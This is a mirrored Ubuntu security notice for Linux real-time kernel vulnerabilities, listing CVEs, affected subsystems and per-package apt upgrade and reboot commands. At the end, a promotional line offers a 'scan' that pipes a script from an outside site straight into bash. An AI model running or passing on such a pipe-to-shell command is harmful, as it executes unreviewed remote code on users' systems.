Ubuntu USN · USN-8186-1

Linux kernel (Real-time) vulnerabilities

Published: Fri, 17 Apr 2026 10:11

CVE-2026-23076CVE-2026-23103CVE-2026-23120CVE-2026-22999CVE-2025-68211CVE-2025-71197CVE-2025-68817CVE-2026-23061CVE-2025-38591CVE-2026-23125CVE-2023-54207CVE-2025-71191CVE-2025-71190CVE-2025-71196CVE-2026-22998CVE-2026-23003CVE-2025-71185CVE-2025-38408CVE-2025-71163CVE-2026-23064CVE-2026-23108CVE-2026-23091CVE-2026-23150CVE-2026-23083CVE-2025-71186CVE-2026-23058CVE-2026-23075CVE-2026-23037CVE-2026-23167CVE-2026-23170CVE-2026-23090CVE-2026-23097CVE-2026-23146CVE-2026-23038CVE-2026-23011CVE-2025-68340CVE-2026-23085CVE-2025-38232CVE-2026-23119CVE-2026-23084CVE-2026-23145CVE-2026-23121CVE-2025-68365CVE-2026-23049CVE-2025-71199CVE-2026-23098CVE-2025-40149CVE-2026-23095CVE-2026-23209CVE-2026-23096CVE-2026-23093CVE-2026-23164CVE-2026-23063CVE-2025-71080CVE-2026-23078CVE-2025-71188CVE-2026-23033CVE-2026-23087CVE-2025-71194CVE-2026-23026CVE-2026-23056CVE-2026-23124CVE-2026-23001CVE-2026-23071CVE-2026-23089CVE-2026-23099CVE-2025-40164CVE-2026-23073CVE-2026-23128CVE-2023-53520CVE-2026-22997CVE-2026-23105CVE-2025-38057CVE-2023-53421CVE-2026-23101CVE-2026-23080CVE-2026-23133CVE-2025-68725CVE-2023-53662CVE-2025-71162CVE-2025-38125

Summary

Several security issues were fixed in the Linux kernel.

Details

Several security issues were discovered in the Linux kernel. An attacker could possibly use these to compromise the system. This update corrects flaws in the following subsystems: - ARM64 architecture; - Block layer subsystem; - Drivers core; - Bluetooth drivers; - DMA engine subsystem; - GPU drivers; - HID subsystem; - Intel Trace Hub HW tracing drivers; - IIO ADC drivers; - IRQ chip drivers; - Modular ISDN driver; - LED subsystem; - UACCE accelerator framework; - Ethernet bonding driver; - Network drivers; - STMicroelectronics network drivers; - Ethernet team driver; - NVME drivers; - PHY drivers; - SLIMbus drivers; - W1 Dallas's 1-wire bus driver; - Xen hypervisor drivers; - BTRFS file system; - Ext4 file system; - Network file system (NFS) client; - Network file system (NFS) server daemon; - NTFS3 file system; - SMB network file system; - NFC subsystem; - BPF subsystem; - IRQ subsystem; - Memory management; - Bluetooth subsystem; - CAN network layer; - Networking core; - IPv4 networking; - IPv6 networking; - L2TP protocol; - NET/ROM layer; - Network traffic control; - SCTP protocol; - TLS protocol; - XFRM subsystem; - Creative Sound Blaster X-Fi driver; - USB sound devices; (CVE-2023-53421, CVE-2023-53520, CVE-2023-53662, CVE-2023-54207, CVE-2025-38057, CVE-2025-38125, CVE-2025-38232, CVE-2025-38408, CVE-2025-38591, CVE-2025-40149, CVE-2025-40164, CVE-2025-68211, CVE-2025-68340, CVE-2025-68365, CVE-2025-68725, CVE-2025-68817, CVE-2025-71080, CVE-2025-71162, CVE-2025-71163, CVE-2025-71185, CVE-2025-71186, CVE-2025-71188, CVE-2025-71190, CVE-2025-71191, CVE-2025-71194, CVE-2025-71196, CVE-2025-71197, CVE-2025-71199, CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23001, CVE-2026-23003, CVE-2026-23011, CVE-2026-23026, CVE-2026-23033, CVE-2026-23037, CVE-2026-23038, CVE-2026-23049, CVE-2026-23056, CVE-2026-23058, CVE-2026-23061, CVE-2026-23063, CVE-2026-23064, CVE-2026-23071, CVE-2026-23073, CVE-2026-23075, CVE-2026-23076, CVE-2026-23078, CVE-2026-23080, CVE-2026-23083, CVE-2026-23084, CVE-2026-23085, CVE-2026-23087, CVE-2026-23089, CVE-2026-23090, CVE-2026-23091, CVE-2026-23093, CVE-2026-23095, CVE-2026-23096, CVE-2026-23097, CVE-2026-23098, CVE-2026-23099, CVE-2026-23101, CVE-2026-23103, CVE-2026-23105, CVE-2026-23108, CVE-2026-23119, CVE-2026-23120, CVE-2026-23121, CVE-2026-23124, CVE-2026-23125, CVE-2026-23128, CVE-2026-23133, CVE-2026-23145, CVE-2026-23146, CVE-2026-23150, CVE-2026-23164, CVE-2026-23167, CVE-2026-23170, CVE-2026-23209)

Recommended actions per Ubuntu release

StackPatch playbook auto-generated per release codename and per affected package.

Ubuntu jammy

linux-intel-iot-realtime→5.15.0-1097.99apt_upgrade
Standard apt upgrade. Install 5.15.0-1097.99 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-intel-iot-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-realtime→5.15.0-1104.113apt_upgrade
Standard apt upgrade. Install 5.15.0-1104.113 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-buildinfo-5.15.0-1097-intel-iot-realtime→5.15.0-1097.99apt_upgrade
Standard apt upgrade. Install 5.15.0-1097.99 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-buildinfo-5.15.0-1097-intel-iot-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-buildinfo-5.15.0-1104-realtime→5.15.0-1104.113apt_upgrade
Standard apt upgrade. Install 5.15.0-1104.113 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-buildinfo-5.15.0-1104-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-cloud-tools-5.15.0-1097-intel-iot-realtime→5.15.0-1097.99apt_upgrade
Standard apt upgrade. Install 5.15.0-1097.99 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-cloud-tools-5.15.0-1097-intel-iot-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-cloud-tools-5.15.0-1104-realtime→5.15.0-1104.113apt_upgrade
Standard apt upgrade. Install 5.15.0-1104.113 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-cloud-tools-5.15.0-1104-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-headers-5.15.0-1097-intel-iot-realtime→5.15.0-1097.99kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-headers-5.15.0-1097-intel-iot-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-headers-5.15.0-1104-realtime→5.15.0-1104.113kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-headers-5.15.0-1104-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-headers-intel-iot-realtime→5.15.0.1097.101kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-headers-intel-iot-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-headers-intel-iot-realtime-5.15→5.15.0.1097.101kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-headers-intel-iot-realtime-5.15
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-headers-realtime→5.15.0.1104.108kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-headers-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-headers-realtime-5.15→5.15.0.1104.108kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-headers-realtime-5.15
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-5.15.0-1097-intel-iot-realtime→5.15.0-1097.99kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-5.15.0-1097-intel-iot-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-5.15.0-1104-realtime→5.15.0-1104.113kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-5.15.0-1104-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-intel-iot-realtime→5.15.0.1097.101kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-intel-iot-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-intel-iot-realtime-5.15→5.15.0.1097.101kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-intel-iot-realtime-5.15
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-realtime→5.15.0.1104.108kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-realtime-5.15→5.15.0.1104.108kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-realtime-5.15
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-uc-5.15.0-1097-intel-iot-realtime→5.15.0-1097.99kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-uc-5.15.0-1097-intel-iot-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-uc-intel-iot-realtime→5.15.0.1097.101kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-uc-intel-iot-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-uc-intel-iot-realtime-5.15→5.15.0.1097.101kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-uc-intel-iot-realtime-5.15
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-unsigned-5.15.0-1097-intel-iot-realtime→5.15.0-1097.99kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-unsigned-5.15.0-1097-intel-iot-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-image-unsigned-5.15.0-1104-realtime→5.15.0-1104.113kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-image-unsigned-5.15.0-1104-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-intel-iot-realtime→5.15.0.1097.101apt_upgrade
Standard apt upgrade. Install 5.15.0.1097.101 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-intel-iot-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-intel-iot-realtime-5.15→5.15.0.1097.101apt_upgrade
Standard apt upgrade. Install 5.15.0.1097.101 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-intel-iot-realtime-5.15
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-intel-iot-realtime-cloud-tools-5.15.0-1097→5.15.0-1097.99apt_upgrade
Standard apt upgrade. Install 5.15.0-1097.99 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-intel-iot-realtime-cloud-tools-5.15.0-1097
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-intel-iot-realtime-cloud-tools-common→5.15.0-1097.99apt_upgrade
Standard apt upgrade. Install 5.15.0-1097.99 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-intel-iot-realtime-cloud-tools-common
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-intel-iot-realtime-headers-5.15.0-1097→5.15.0-1097.99apt_upgrade
Standard apt upgrade. Install 5.15.0-1097.99 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-intel-iot-realtime-headers-5.15.0-1097
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-intel-iot-realtime-tools-5.15.0-1097→5.15.0-1097.99apt_upgrade
Standard apt upgrade. Install 5.15.0-1097.99 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-intel-iot-realtime-tools-5.15.0-1097
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-intel-iot-realtime-tools-common→5.15.0-1097.99apt_upgrade
Standard apt upgrade. Install 5.15.0-1097.99 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-intel-iot-realtime-tools-common
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-intel-iot-realtime-tools-host→5.15.0-1097.99apt_upgrade
Standard apt upgrade. Install 5.15.0-1097.99 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-intel-iot-realtime-tools-host
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-modules-5.15.0-1097-intel-iot-realtime→5.15.0-1097.99kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-modules-5.15.0-1097-intel-iot-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-modules-5.15.0-1104-realtime→5.15.0-1104.113kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-modules-5.15.0-1104-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-modules-extra-5.15.0-1097-intel-iot-realtime→5.15.0-1097.99kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-modules-extra-5.15.0-1097-intel-iot-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-modules-extra-5.15.0-1104-realtime→5.15.0-1104.113kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-modules-extra-5.15.0-1104-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-modules-iwlwifi-5.15.0-1104-realtime→5.15.0-1104.113kernel_reboot
Kernel package — apt-upgrade then REBOOT to load the patched kernel.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-modules-iwlwifi-5.15.0-1104-realtime
sudo reboot
```
Reboot is required. ~30-60s downtime; containers self-restart.
linux-realtime→5.15.0.1104.108apt_upgrade
Standard apt upgrade. Install 5.15.0.1104.108 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-realtime-5.15→5.15.0.1104.108apt_upgrade
Standard apt upgrade. Install 5.15.0.1104.108 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-realtime-5.15
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-realtime-cloud-tools-5.15.0-1104→5.15.0-1104.113apt_upgrade
Standard apt upgrade. Install 5.15.0-1104.113 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-realtime-cloud-tools-5.15.0-1104
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-realtime-cloud-tools-common→5.15.0-1104.113apt_upgrade
Standard apt upgrade. Install 5.15.0-1104.113 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-realtime-cloud-tools-common
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-realtime-headers-5.15.0-1104→5.15.0-1104.113apt_upgrade
Standard apt upgrade. Install 5.15.0-1104.113 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-realtime-headers-5.15.0-1104
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-realtime-tools-5.15.0-1104→5.15.0-1104.113apt_upgrade
Standard apt upgrade. Install 5.15.0-1104.113 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-realtime-tools-5.15.0-1104
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-realtime-tools-common→5.15.0-1104.113apt_upgrade
Standard apt upgrade. Install 5.15.0-1104.113 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-realtime-tools-common
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-realtime-tools-host→5.15.0-1104.113apt_upgrade
Standard apt upgrade. Install 5.15.0-1104.113 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-realtime-tools-host
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-5.15.0-1097-intel-iot-realtime→5.15.0-1097.99apt_upgrade
Standard apt upgrade. Install 5.15.0-1097.99 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-tools-5.15.0-1097-intel-iot-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-5.15.0-1104-realtime→5.15.0-1104.113apt_upgrade
Standard apt upgrade. Install 5.15.0-1104.113 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-tools-5.15.0-1104-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-intel-iot-realtime→5.15.0.1097.101apt_upgrade
Standard apt upgrade. Install 5.15.0.1097.101 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-tools-intel-iot-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-intel-iot-realtime-5.15→5.15.0.1097.101apt_upgrade
Standard apt upgrade. Install 5.15.0.1097.101 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-tools-intel-iot-realtime-5.15
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-realtime→5.15.0.1104.108apt_upgrade
Standard apt upgrade. Install 5.15.0.1104.108 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-tools-realtime
```
Most apt upgrades restart their service automatically. needrestart lists anything else.
linux-tools-realtime-5.15→5.15.0.1104.108apt_upgrade
Standard apt upgrade. Install 5.15.0.1104.108 from the apt repo.
```
sudo apt-get update
sudo apt-get install --only-upgrade -y linux-tools-realtime-5.15
```
Most apt upgrades restart their service automatically. needrestart lists anything else.

Are YOU affected by USN-8186-1?

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curl https://mindsparkstack.com/scan.sh | bash

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